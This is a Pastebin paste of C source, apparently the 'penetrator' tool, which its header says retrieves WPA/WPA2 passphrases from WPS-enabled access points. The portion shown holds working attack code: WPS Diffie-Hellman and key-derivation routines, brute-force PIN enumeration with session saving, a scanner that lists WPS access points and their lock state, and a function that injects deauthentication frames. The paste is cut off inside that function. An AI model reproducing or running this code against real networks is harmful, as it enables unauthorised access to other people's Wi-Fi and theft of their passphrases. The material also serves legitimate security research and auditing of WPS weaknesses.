Advertisement
Guest User

wpsattack

a guest
Oct 3rd, 2016
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 83.51 KB | None | 0 0
  1. /*
  2.     penetrator - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
  3.     Copyright (C) 2015 David Cernak <d.cernak@pobox.sk>
  4.     This program is free software: you can redistribute it and/or modify
  5.     it under the terms of the GNU General Public License as published by
  6.     the Free Software Foundation, either version 2 of the License, or
  7.     (at your option) any later version.
  8.     This program is distributed in the hope that it will be useful,
  9.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  10.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  11.     GNU General Public License for more details.
  12.     You should have received a copy of the GNU General Public License
  13.     along with this program.  If not, see <http://www.gnu.org/licenses/>.
  14. */
  15.  
  16. #include <pcap.h>
  17. #include <time.h>
  18. #include <stdio.h>
  19. #include <signal.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <unistd.h>
  23. #include <pthread.h>
  24. #include <sys/stat.h>
  25. #include <semaphore.h>
  26. #include <sys/ioctl.h>
  27. #include <openssl/dh.h>
  28. #include <openssl/aes.h>
  29. #include <openssl/sha.h>
  30. #include <openssl/hmac.h>
  31.  
  32. #include <sys/socket.h>
  33. #include <sys/ioctl.h>
  34. #include <net/if.h>
  35.  
  36. int VERBOSE;
  37. unsigned TIMEOUT;
  38. int MAXRESEND;
  39. int PIXIEDUST;
  40. int FUCKNACK;
  41. int FUCKSESSIONS;
  42. unsigned long long int MIDDELAY;
  43. int AKTCHANNEL;
  44. char *homedir;
  45. unsigned long long int FAILSLEEP;
  46. int autoatak;
  47. int killgui;
  48.  
  49. sem_t passes_sem;
  50. typedef struct passes
  51. {
  52.     char pin[9];
  53.     char pass[256];
  54.     char ssid[256];
  55.     int passlen;
  56.     struct passes *next;
  57. } pASSES;
  58.  
  59. pASSES *passlist;
  60.  
  61. unsigned char dh_g[1] = { 0x02 };
  62. unsigned char dh_p[192] =
  63. {
  64.     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
  65.     0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34,
  66.     0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1,
  67.     0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74,
  68.     0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22,
  69.     0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD,
  70.     0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B,
  71.     0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37,
  72.     0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45,
  73.     0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6,
  74.     0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B,
  75.     0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED,
  76.     0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5,
  77.     0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6,
  78.     0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D,
  79.     0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05,
  80.     0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A,
  81.     0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F,
  82.     0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96,
  83.     0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB,
  84.     0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D,
  85.     0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04,
  86.     0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x23, 0x73, 0x27,
  87.     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF
  88. };
  89.  
  90. void *sha256_hmac(char *key,int klen,char *data,int datalen)
  91. {
  92.     unsigned char *ret=malloc(32);
  93.     unsigned int l=32;
  94.     HMAC_CTX ctx;
  95.     HMAC_CTX_init(&ctx);
  96.     HMAC_Init_ex(&ctx,key,klen,EVP_sha256(),0);
  97.     HMAC_Update(&ctx,(unsigned char*)data,datalen);
  98.     HMAC_Final(&ctx,ret,&l);
  99.     HMAC_CTX_cleanup(&ctx);
  100.     return ret;
  101. }
  102.  
  103. void *kdf(void *kdk,char *label,int size)
  104. {
  105.     int slen=strlen(label);
  106.     void *hashme=malloc(8+slen);
  107.     memcpy(hashme+4,label,slen);
  108.     *(int*)(hashme+4+slen)=__builtin_bswap32(size);
  109.     int i,iter=(size+255)/256;
  110.     void *ret=malloc(iter*256);
  111.     void *cur=ret;
  112.  
  113.     for(i=1; i<=iter; i++)
  114.         {
  115.             *(int*)(hashme)=__builtin_bswap32(i);
  116.             char *tmp=sha256_hmac(kdk,32,hashme,8+slen);
  117.             memcpy(cur,tmp,32);
  118.             free(tmp);
  119.             cur+=32;
  120.         }
  121.     free(hashme);
  122.     return ret;
  123. }
  124.  
  125. int ComputeChecksum(unsigned long int PIN) //From official wps spec
  126. {
  127.     unsigned long int accum = 0;
  128.     PIN *= 10;
  129.     accum += 3 * ((PIN / 10000000) % 10);
  130.     accum += 1 * ((PIN / 1000000) % 10);
  131.     accum += 3 * ((PIN / 100000) % 10);
  132.     accum += 1 * ((PIN / 10000) % 10);
  133.     accum += 3 * ((PIN / 1000) % 10);
  134.     accum += 1 * ((PIN / 100) % 10);
  135.     accum += 3 * ((PIN / 10) % 10);
  136.     int digit = (accum % 10);
  137.     return (10 - digit) % 10;
  138. }
  139.  
  140. //CRC32 is ripped from stackoverflow pls: http://stackoverflow.com/questions/11523844/802-11-fcs-crc32 - thanks
  141. const u_int32_t crctable[] =
  142. {
  143.     0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L, 0x706af48fL, 0xe963a535L, 0x9e6495a3L,
  144.     0x0edb8832L, 0x79dcb8a4L, 0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L, 0x90bf1d91L,
  145.     0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL, 0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L,
  146.     0x136c9856L, 0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L, 0xfa0f3d63L, 0x8d080df5L,
  147.     0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L, 0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
  148.     0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L, 0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L,
  149.     0x26d930acL, 0x51de003aL, 0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L, 0xb8bda50fL,
  150.     0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L, 0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL,
  151.     0x76dc4190L, 0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL, 0x9fbfe4a5L, 0xe8b8d433L,
  152.     0x7807c9a2L, 0x0f00f934L, 0x9609a88eL, 0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
  153.     0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL, 0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L,
  154.     0x65b0d9c6L, 0x12b7e950L, 0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L, 0xfbd44c65L,
  155.     0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L, 0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL,
  156.     0x4369e96aL, 0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L, 0xaa0a4c5fL, 0xdd0d7cc9L,
  157.     0x5005713cL, 0x270241aaL, 0xbe0b1010L, 0xc90c2086L, 0x5768b525L, 0x206f85b3L, 0xb966d409L, 0xce61e49fL,
  158.     0x5edef90eL, 0x29d9c998L, 0xb0d09822L, 0xc7d7a8b4L, 0x59b33d17L, 0x2eb40d81L, 0xb7bd5c3bL, 0xc0ba6cadL,
  159.     0xedb88320L, 0x9abfb3b6L, 0x03b6e20cL, 0x74b1d29aL, 0xead54739L, 0x9dd277afL, 0x04db2615L, 0x73dc1683L,
  160.     0xe3630b12L, 0x94643b84L, 0x0d6d6a3eL, 0x7a6a5aa8L, 0xe40ecf0bL, 0x9309ff9dL, 0x0a00ae27L, 0x7d079eb1L,
  161.     0xf00f9344L, 0x8708a3d2L, 0x1e01f268L, 0x6906c2feL, 0xf762575dL, 0x806567cbL, 0x196c3671L, 0x6e6b06e7L,
  162.     0xfed41b76L, 0x89d32be0L, 0x10da7a5aL, 0x67dd4accL, 0xf9b9df6fL, 0x8ebeeff9L, 0x17b7be43L, 0x60b08ed5L,
  163.     0xd6d6a3e8L, 0xa1d1937eL, 0x38d8c2c4L, 0x4fdff252L, 0xd1bb67f1L, 0xa6bc5767L, 0x3fb506ddL, 0x48b2364bL,
  164.     0xd80d2bdaL, 0xaf0a1b4cL, 0x36034af6L, 0x41047a60L, 0xdf60efc3L, 0xa867df55L, 0x316e8eefL, 0x4669be79L,
  165.     0xcb61b38cL, 0xbc66831aL, 0x256fd2a0L, 0x5268e236L, 0xcc0c7795L, 0xbb0b4703L, 0x220216b9L, 0x5505262fL,
  166.     0xc5ba3bbeL, 0xb2bd0b28L, 0x2bb45a92L, 0x5cb36a04L, 0xc2d7ffa7L, 0xb5d0cf31L, 0x2cd99e8bL, 0x5bdeae1dL,
  167.     0x9b64c2b0L, 0xec63f226L, 0x756aa39cL, 0x026d930aL, 0x9c0906a9L, 0xeb0e363fL, 0x72076785L, 0x05005713L,
  168.     0x95bf4a82L, 0xe2b87a14L, 0x7bb12baeL, 0x0cb61b38L, 0x92d28e9bL, 0xe5d5be0dL, 0x7cdcefb7L, 0x0bdbdf21L,
  169.     0x86d3d2d4L, 0xf1d4e242L, 0x68ddb3f8L, 0x1fda836eL, 0x81be16cdL, 0xf6b9265bL, 0x6fb077e1L, 0x18b74777L,
  170.     0x88085ae6L, 0xff0f6a70L, 0x66063bcaL, 0x11010b5cL, 0x8f659effL, 0xf862ae69L, 0x616bffd3L, 0x166ccf45L,
  171.     0xa00ae278L, 0xd70dd2eeL, 0x4e048354L, 0x3903b3c2L, 0xa7672661L, 0xd06016f7L, 0x4969474dL, 0x3e6e77dbL,
  172.     0xaed16a4aL, 0xd9d65adcL, 0x40df0b66L, 0x37d83bf0L, 0xa9bcae53L, 0xdebb9ec5L, 0x47b2cf7fL, 0x30b5ffe9L,
  173.     0xbdbdf21cL, 0xcabac28aL, 0x53b39330L, 0x24b4a3a6L, 0xbad03605L, 0xcdd70693L, 0x54de5729L, 0x23d967bfL,
  174.     0xb3667a2eL, 0xc4614ab8L, 0x5d681b02L, 0x2a6f2b94L, 0xb40bbe37L, 0xc30c8ea1L, 0x5a05df1bL, 0x2d02ef8dL
  175. };
  176.  
  177. u_int32_t crc32(u_int32_t bytes_sz, const u_int8_t *bytes)
  178. {
  179.     u_int32_t crc = ~0;
  180.     u_int32_t i;
  181.     for(i = 0; i < bytes_sz; ++i)
  182.         {
  183.             crc = crctable[(crc ^ bytes[i]) & 0xff] ^ (crc >> 8);
  184.         }
  185.     return ~crc;
  186. }
  187.  
  188.  
  189. unsigned long long int ffmac;
  190.  
  191. typedef struct scanlist
  192. {
  193.     int id;
  194.     char pwr;
  195.     int channel;
  196.     char *ssid;
  197.     int wps;
  198.     int lock;
  199.     unsigned long long int bssid;
  200.     struct scanlist *next;
  201. } SCANLIST;
  202.  
  203. int threads;
  204.  
  205. typedef struct pinlist
  206. {
  207.     int psk;
  208.     struct pinlist *next;
  209. } PINLIST;
  210.  
  211. typedef struct pins
  212. {
  213.     int mode; //0-PSK1 1-PSK2
  214.     int psk1; //use this if mode 1
  215.     int psk2; //use this if mode 0
  216.     PINLIST *unused1,*used1;
  217.     PINLIST *unused2,*used2;
  218.     sem_t mutex;
  219. } PINS;
  220.  
  221. void key_init(PINS *keys)
  222. {
  223.     sem_init(&(keys->mutex),0,1);
  224.     keys->psk1=0;
  225.     keys->psk2=0;
  226.     keys->mode=0;
  227.     keys->unused1=NULL;
  228.     keys->unused2=NULL;
  229.     keys->used1=NULL;
  230.     keys->used2=NULL;
  231. }
  232.  
  233. void key_mode(PINS *keys,int psk)
  234. {
  235.     sem_wait(&(keys->mutex));
  236.     keys->psk1=psk;
  237.     keys->mode=1;
  238.     sem_post(&(keys->mutex));
  239. }
  240.  
  241. void key_gen(PINS *keys)
  242. {
  243.     int i;
  244.     PINLIST *last=NULL;
  245.     for(i=0; i<10000; i++)
  246.         {
  247.             if(!last)
  248.                 {
  249.                     keys->unused1=malloc(sizeof(PINLIST));
  250.                     keys->unused1->psk=i;
  251.                     keys->unused1->next=NULL;
  252.                     last=keys->unused1;
  253.                 }
  254.             else
  255.                 {
  256.                     PINLIST *add=malloc(sizeof(PINLIST));
  257.                     add->psk=i;
  258.                     add->next=NULL;
  259.                     last->next=add;
  260.                     last=add;
  261.                 }
  262.         }
  263.     last=NULL;
  264.     for(i=0; i<1000; i++)
  265.         {
  266.             if(!last)
  267.                 {
  268.                     keys->unused2=malloc(sizeof(PINLIST));
  269.                     keys->unused2->psk=i;
  270.                     keys->unused2->next=NULL;
  271.                     last=keys->unused2;
  272.                 }
  273.             else
  274.                 {
  275.                     PINLIST *add=malloc(sizeof(PINLIST));
  276.                     add->psk=i;
  277.                     add->next=NULL;
  278.                     last->next=add;
  279.                     last=add;
  280.                 }
  281.         }
  282. }
  283.  
  284. void key_load(char *fn,PINS *keys)
  285. {
  286.     if(FUCKSESSIONS)
  287.         {
  288.             key_gen(keys);
  289.             return;
  290.         }
  291.     FILE *f=fopen(fn,"r");
  292.     if(!f)
  293.         {
  294.             /*printf("[wpsattack] Unable to open file\n");*/return;
  295.         }
  296.     sem_wait(&(keys->mutex));
  297.     PINLIST *last1=NULL,*last2=NULL;
  298.     while(1)
  299.         {
  300.             int psk,part;
  301.             if(fscanf(f,"%d:%d\n",&part,&psk)<2)break;
  302.             PINLIST *add=malloc(sizeof(PINLIST));
  303.             add->next=NULL;
  304.             add->psk=psk;
  305.             if(part==1)
  306.                 {
  307.                     if(last1)last1->next=add;
  308.                     else keys->unused1=add;
  309.                     last1=add;
  310.                 }
  311.             else if(part==2)
  312.                 {
  313.                     if(last2)last2->next=add;
  314.                     else keys->unused2=add;
  315.                     last2=add;
  316.                 }
  317.             else
  318.                 {
  319.                     keys->psk1=psk;
  320.                     keys->mode=1;
  321.                 }
  322.         }
  323.  
  324.     sem_post(&(keys->mutex));
  325.     fclose(f);
  326. }
  327.  
  328. void key_save(char *fn,PINS *keys)
  329. {
  330.     FILE *f=fopen(fn,"w");
  331.     if(!f)
  332.         {
  333.             printf("[wpsattack] Unable to open file\n");
  334.             return;
  335.         }
  336.     sem_wait(&(keys->mutex));
  337.     PINLIST *akt;
  338.     if(keys->mode)fprintf(f,"3:%d\n",keys->psk1);
  339.     akt=keys->used1;
  340.     while(akt)
  341.         {
  342.             fprintf(f,"1:%d\n",akt->psk);
  343.             akt=akt->next;
  344.         }
  345.     akt=keys->unused1;
  346.     while(akt)
  347.         {
  348.             fprintf(f,"1:%d\n",akt->psk);
  349.             akt=akt->next;
  350.         }
  351.     akt=keys->used2;
  352.     while(akt)
  353.         {
  354.             fprintf(f,"2:%d\n",akt->psk);
  355.             akt=akt->next;
  356.         }
  357.     akt=keys->unused2;
  358.     while(akt)
  359.         {
  360.             fprintf(f,"2:%d\n",akt->psk);
  361.             akt=akt->next;
  362.         }
  363.     sem_post(&(keys->mutex));
  364.     fclose(f);
  365. }
  366.  
  367. void key_remove(PINS *keys,int psk,int mode)
  368. {
  369.     sem_wait(&(keys->mutex));
  370.     if(!mode)
  371.         {
  372.             PINLIST *akt=keys->used1;
  373.             PINLIST *last=NULL;
  374.             while(akt)
  375.                 {
  376.                     if(akt->psk==psk)
  377.                         {
  378.                             if(last)last->next=akt->next;
  379.                             else keys->used1=akt->next;
  380.                             break;
  381.                         }
  382.                     last=akt;
  383.                     akt=akt->next;
  384.                 }
  385.             free(akt);
  386.             sem_post(&(keys->mutex));
  387.             return;
  388.         }
  389.     PINLIST *akt=keys->used2;
  390.     PINLIST *last=NULL;
  391.     while(akt)
  392.         {
  393.             if(akt->psk==psk)
  394.                 {
  395.                     if(last)last->next=akt->next;
  396.                     else keys->used2=akt->next;
  397.                     break;
  398.                 }
  399.             last=akt;
  400.             akt=akt->next;
  401.         }
  402.     free(akt);
  403.     sem_post(&(keys->mutex));
  404.     return;
  405. }
  406.  
  407. int key_get(PINS *keys,int *out)
  408. {
  409.     sem_wait(&(keys->mutex));
  410.     if(!keys->mode)
  411.         {
  412.             if(!keys->unused1&&!keys->used1)return 3;
  413.             if(!keys->unused1)return 2;
  414.             PINLIST *my=keys->unused1;
  415.             keys->unused1=my->next;
  416.             my->next=keys->used1;
  417.             keys->used1=my;
  418.             *out=my->psk;
  419.             sem_post(&(keys->mutex));
  420.             return 0;
  421.         }
  422.     if(!keys->unused2&&!keys->used2)return 3;
  423.     if(!keys->unused2)return 2;
  424.     PINLIST *my=keys->unused2;
  425.     keys->unused2=my->next;
  426.     my->next=keys->used2;
  427.     keys->used2=my;
  428.     *out=my->psk;
  429.     sem_post(&(keys->mutex));
  430.     return 1;
  431. }
  432.  
  433. void key_return(PINS *keys,int psk,int mode)
  434. {
  435.     sem_wait(&(keys->mutex));
  436.  
  437.     if(!mode)
  438.         {
  439.             PINLIST *akt=keys->used1;
  440.             PINLIST *last=NULL;
  441.             while(akt)
  442.                 {
  443.                     if(akt->psk==psk)
  444.                         {
  445.                             if(last)last->next=akt->next;
  446.                             else keys->used1=akt->next;
  447.                             break;
  448.                         }
  449.                     last=akt;
  450.                     akt=akt->next;
  451.                 }
  452.             akt->next=keys->unused1;
  453.             keys->unused1=akt;
  454.             sem_post(&(keys->mutex));
  455.             return;
  456.         }
  457.     PINLIST *akt=keys->used2;
  458.     PINLIST *last=NULL;
  459.     while(akt)
  460.         {
  461.             if(akt->psk==psk)
  462.                 {
  463.                     if(last)last->next=akt->next;
  464.                     else keys->used2=akt->next;
  465.                     break;
  466.                 }
  467.             last=akt;
  468.             akt=akt->next;
  469.         }
  470.     akt->next=keys->unused2;
  471.     keys->unused2=akt;
  472.     sem_post(&(keys->mutex));
  473.     return;
  474. }
  475.  
  476. typedef struct attack_info
  477. {
  478.     int ded;
  479.     int thread_id;//thread id - used when removing thread from memory
  480.     char iv[16];//iv for aes
  481.     int lastpsk;//last part of pin retrieved by key_get
  482.     int lastmode;
  483.     PINS *pins;//retrieve pins from here
  484.     char pin[9];
  485.     unsigned long long int src_mac;
  486.     unsigned long long int tgt_mac;
  487.     char *ssid;
  488.     int wps;
  489.     int wpslock;
  490.     unsigned char *packet;//fresh packet
  491.     int len;//packet len
  492.     int radiotap_len;//len of radiotap header
  493.     int sn;//sequence number
  494.     struct attack_info *next;//linked list
  495.     sem_t mutex;//thread waits here for packets
  496.     sem_t ready;//signals here when reading finished
  497.     unsigned long long int lastsend;//last packet transmission
  498.     unsigned char eap_id;//eap id from last received msg
  499.     char secret[2048];
  500.     char rh1[32],rh2[32];
  501.     char pke[2048];
  502.     char pkr[2048];
  503.     char ehash1[2048];
  504.     char ehash2[2048];
  505.     char enonce[2048];
  506.     char rnonce[2048];
  507.     int printedshit;
  508.     char derived[2048];//derived key (kdf) - authkey+keywrapkey+some other shit
  509.     int pixiewin;
  510.     char rs1[2048];
  511.     char rs2[2048];
  512.  
  513.     char ruuid[2048];
  514.  
  515.     void *m1,*m3,*m5;//last messages for authenticator
  516.     int m1l,m3l,m5l;//tehir len
  517.  
  518.     char sent[6];
  519.     char got[7];
  520.     int gotm5;
  521.  
  522.     void *resendmsg;
  523.     int resendlen;
  524.     int resended;
  525.  
  526.     int wins;
  527.     int inarow;
  528.     unsigned long long int waittil,lastsuc;
  529.     int active;
  530.  
  531.     char foundpass[256];
  532.     char foundpin[9];
  533.  
  534.     int pixiefail;
  535.  
  536.     unsigned long long int timelimit;
  537. } ATTACK_INFO;
  538.  
  539. int hex2raw(char *hex,void *out)
  540. {
  541.     int i;
  542.     for(i=0; hex[i]; i+=3)
  543.         {
  544.             sscanf((char*)hex+i,"%02hhx",(unsigned char*)out+(i/3));
  545.             if(hex[i+2]==0)break;
  546.         }
  547.     return (i+3)/3;
  548. }
  549. int hexlen(char *hex)
  550. {
  551.     int i,len=0;
  552.     for(i=0; hex[i]; i++)if(hex[i]==' ')len++;
  553.     return len+1;
  554. }
  555. void printhex(void *hex,int len)
  556. {
  557.     int i;
  558.     for(i=0; i<len; i++)
  559.         {
  560.             if(i)putchar(':');
  561.             printf("%02hhx",((unsigned char*)hex)[i]);
  562.         }
  563.     putchar('\n');
  564. }
  565. void raw2hex(void *hex,char *out,int len)
  566. {
  567.     *out=0;
  568.     int i;
  569.     for(i=0; i<len; i++)
  570.         {
  571.             if(i)strcat(out,":");
  572.             char cat[32];
  573.             sprintf(cat,"%02hhx",((unsigned char*)hex)[i]);
  574.             strcat(out,cat);
  575.         }
  576. }
  577.  
  578. unsigned long long int get_data(unsigned char *mac,int len,int reverse)
  579. {
  580.     unsigned long long int data=0;
  581.     int i;
  582.     if(reverse)for(i=0; i<len; i++)((char*)&data)[len-i-1]=mac[i];
  583.     else for(i=0; i<len; i++)((char*)&data)[i]=mac[i];
  584.     return data;
  585. }
  586.  
  587. unsigned long long int hex2int(char *hex,int reverse)
  588. {
  589.     char out[8];
  590.     int l=hex2raw(hex,out);
  591.     unsigned long long int ret=get_data((unsigned char*)out,l,reverse);
  592.     return ret;
  593. }
  594.  
  595. u_int64_t gettick()   //this is somewhere from stackoveflow too, thanks
  596. {
  597.     struct timespec ts;
  598.     unsigned theTick = 0U;
  599.     clock_gettime( CLOCK_REALTIME, &ts );
  600.     theTick  = ts.tv_nsec / 1000000;
  601.     theTick += ts.tv_sec * 1000;
  602.     return theTick;
  603. }
  604.  
  605. void parsebeacon(unsigned char *pkt,int len,char **ssid,int *wps,int *wpslock,int *channel)
  606. {
  607.     *wps=0;
  608.     *wpslock=0;
  609.     while(1)
  610.         {
  611.             if(len<2)return;
  612.             int tagnumber=pkt[0];
  613.             int taglen=pkt[1];
  614.             if(tagnumber==0&&ssid&&!(*ssid))
  615.                 {
  616.                     if(taglen==0)
  617.                         {
  618.                             (*ssid)=calloc(1,5);
  619.                             strcpy(*ssid,"NULL");
  620.                         }
  621.                     else
  622.                         {
  623.                             (*ssid)=calloc(1,taglen+1);
  624.                             memcpy(*ssid,pkt+2,taglen);
  625.                         }
  626.                 }
  627.             else if(tagnumber==3&&channel)*channel=pkt[2];
  628.             else if(tagnumber==221&&wps)
  629.                 {
  630.                     unsigned char *tmp=pkt+6;
  631.                     int tmplen=taglen-4;
  632.                     int oui=get_data(pkt+2,4,0);
  633.                     if(oui==0x04F25000)while(1)
  634.                             {
  635.                                 if(tmplen<4)break;
  636.                                 int type=get_data(tmp,2,1);
  637.                                 int wlen=get_data(tmp+2,2,1);
  638.                                 if(type==4170)*wps=tmp[4];
  639.                                 if(type==4183&&wpslock)*wpslock=tmp[4];
  640.                                 tmp+=4+wlen;
  641.                                 tmplen-=(4+wlen);
  642.                             }
  643.                 }
  644.             pkt+=(taglen+2);
  645.             len-=(taglen+2);
  646.         }
  647. }
  648.  
  649. ATTACK_INFO *attack_list;
  650. sem_t mutex;
  651. int found;
  652.  
  653. void scanshit(const unsigned char *packet, struct pcap_pkthdr head,SCANLIST **list)
  654. {
  655.     unsigned char *gotpkt=(unsigned char*)packet;
  656.     int len=head.len;
  657.     if(len<4)return;
  658.     int flags=gotpkt[4]&2;
  659.     int fcs=0;
  660.     if(flags)
  661.         {
  662.             if(len<16)return;
  663.             fcs=gotpkt[16]&16;
  664.         }
  665.     unsigned radiotap_len=gotpkt[2]+(gotpkt[3]<<8);
  666.     if(fcs)
  667.         {
  668.             int fcs=get_data(gotpkt+(len-4),4,0);
  669.             int hash=crc32(len-(radiotap_len+4),gotpkt+radiotap_len);
  670.             if(fcs!=hash)
  671.                 {
  672.                     if(VERBOSE>0)printf("[wpsattack] Received packet with wrong FCS\n");
  673.                     return;
  674.                 }
  675.         }
  676.     unsigned char *pkt=gotpkt+radiotap_len;
  677.     len-=radiotap_len;
  678.     if(len<15)return;
  679.     unsigned long long int src=get_data(pkt+10,6,0);
  680.     if(pkt[0]==128)
  681.         {
  682.             pkt+=36;
  683.             len-=36;
  684.             char *ssid=NULL;
  685.             int wps,wpsl,chnl;
  686.             parsebeacon(pkt,len,&ssid,&wps,&wpsl,&chnl);
  687.             if(!wps&&ssid)
  688.                 {
  689.                     free(ssid);
  690.                     return;
  691.                 }
  692.             SCANLIST *akt=*list;
  693.             int exists=0;
  694.             while(akt)
  695.                 {
  696.                     if(akt->bssid==src)
  697.                         {
  698.                             exists=1;
  699.                             break;
  700.                         }
  701.                     akt=akt->next;
  702.                 }
  703.             if(!exists)
  704.                 {
  705.                     SCANLIST *add=malloc(sizeof(SCANLIST));
  706.                     add->bssid=src;
  707.                     add->ssid=ssid;
  708.                     add->channel=chnl;
  709.                     add->wps=wps;
  710.                     add->lock=wpsl;
  711.                     add->pwr=packet[22];
  712.                     add->next=*list;
  713.                     add->id=found++;
  714.                     *list=add;
  715.                     char *mac=(char*)&src;
  716.                     char lok[4];
  717.                     if(wpsl)strcpy(lok,"yes");
  718.                     else strcpy(lok,"no");
  719.                     printf("%02d %hhd %02hhX:%02hhX:%02hhX:%02hhX:%02hhX:%02hhX\t%d\t%d.%d\t%s\t%s\n",add->id,add->pwr,mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],chnl,wps>>4,wps&15,lok,ssid);
  720.                 }
  721.         }
  722. }
  723.  
  724.  
  725. void parsepacket(const unsigned char *packet, struct pcap_pkthdr head)
  726. {
  727.     unsigned char *gotpkt=(unsigned char*)packet;
  728.     int len=head.len;
  729.     if(len<4)return;
  730.     int flags=gotpkt[4]&2;
  731.     int fcs=0;
  732.     if(flags)
  733.         {
  734.             if(len<16)return;
  735.             fcs=gotpkt[16]&16;
  736.         }
  737.     unsigned radiotap_len=gotpkt[2]+(gotpkt[3]<<8);
  738.     if(fcs)
  739.         {
  740.             int fcs=get_data(gotpkt+(len-4),4,0);
  741.             int hash=crc32(len-(radiotap_len+4),gotpkt+radiotap_len);
  742.             if(fcs!=hash)
  743.                 {
  744.                     if(VERBOSE>0)printf("[wpsattack] Received packet with wrong FCS\n");
  745.                     return;
  746.                 }
  747.         }
  748.     unsigned char *pkt=gotpkt+radiotap_len;
  749.     len-=radiotap_len;
  750.     if(len<15)return;
  751.     unsigned long long int dest=get_data(pkt+4,6,1);
  752.     unsigned long long int src=get_data(pkt+10,6,1);
  753.  
  754.     sem_wait(&mutex);
  755.     ATTACK_INFO *attack=attack_list;
  756.     while(attack)
  757.         {
  758.             if(attack->active&&attack->tgt_mac==src&&(attack->src_mac==dest||dest==ffmac))
  759.                 {
  760.                     attack->packet=malloc(head.len);
  761.                     attack->len=head.len;
  762.                     attack->radiotap_len=radiotap_len;
  763.                     memcpy(attack->packet,gotpkt,attack->len);
  764.                     sem_post(&(attack->mutex));
  765.                     sem_wait(&(attack->ready));
  766.                 }
  767.             attack=attack->next;
  768.         }
  769.     sem_post(&mutex);
  770. }
  771.  
  772. pcap_t *fp;
  773. sem_t sendmutex;
  774.  
  775. void int2hex(unsigned long long int macint,char *out)
  776. {
  777.     unsigned char *mac=(unsigned char*)&macint;
  778.     sprintf(out,"%02hhX %02hhX %02hhX %02hhX %02hhX %02hhX",mac[5],mac[4],mac[3],mac[2],mac[1],mac[0]);
  779. }
  780.  
  781. void sn2hex(int sn,char *out)
  782. {
  783.     unsigned short snint=sn<<4;
  784.     sprintf(out,"%02hhX %02hhX",((unsigned char*)&snint)[0],((unsigned char*)&snint)[1]);
  785. }
  786.  
  787. int deauth(ATTACK_INFO *attack)
  788. {
  789.     char packet[2048];
  790.     char tgt[32];
  791.     char src[32];
  792.     char sn[8];
  793.  
  794.     sn2hex((attack->sn)++,sn);
  795.     int2hex(attack->tgt_mac,tgt);
  796.     int2hex(attack->src_mac,src);
  797.     sprintf(packet,"00 00 08 00 00 00 00 00 c0 00 34 00 %s %s %s %s 03 00",tgt,src,tgt,sn);
  798.     char raw[2048];
  799.     int len=hex2raw(packet,raw);
  800.  
  801.     sem_wait(&sendmutex);
  802.     pcap_inject(fp,raw,len);
  803.     attack->lastsend=gettick();
  804.     sem_post(&sendmutex);
  805.  
  806.     if(attack->resendmsg)free(attack->resendmsg);
  807.     attack->resendmsg=malloc(len);
  808.     memcpy(attack->resendmsg,raw,len);
  809.     attack->resendlen=len;
  810.  
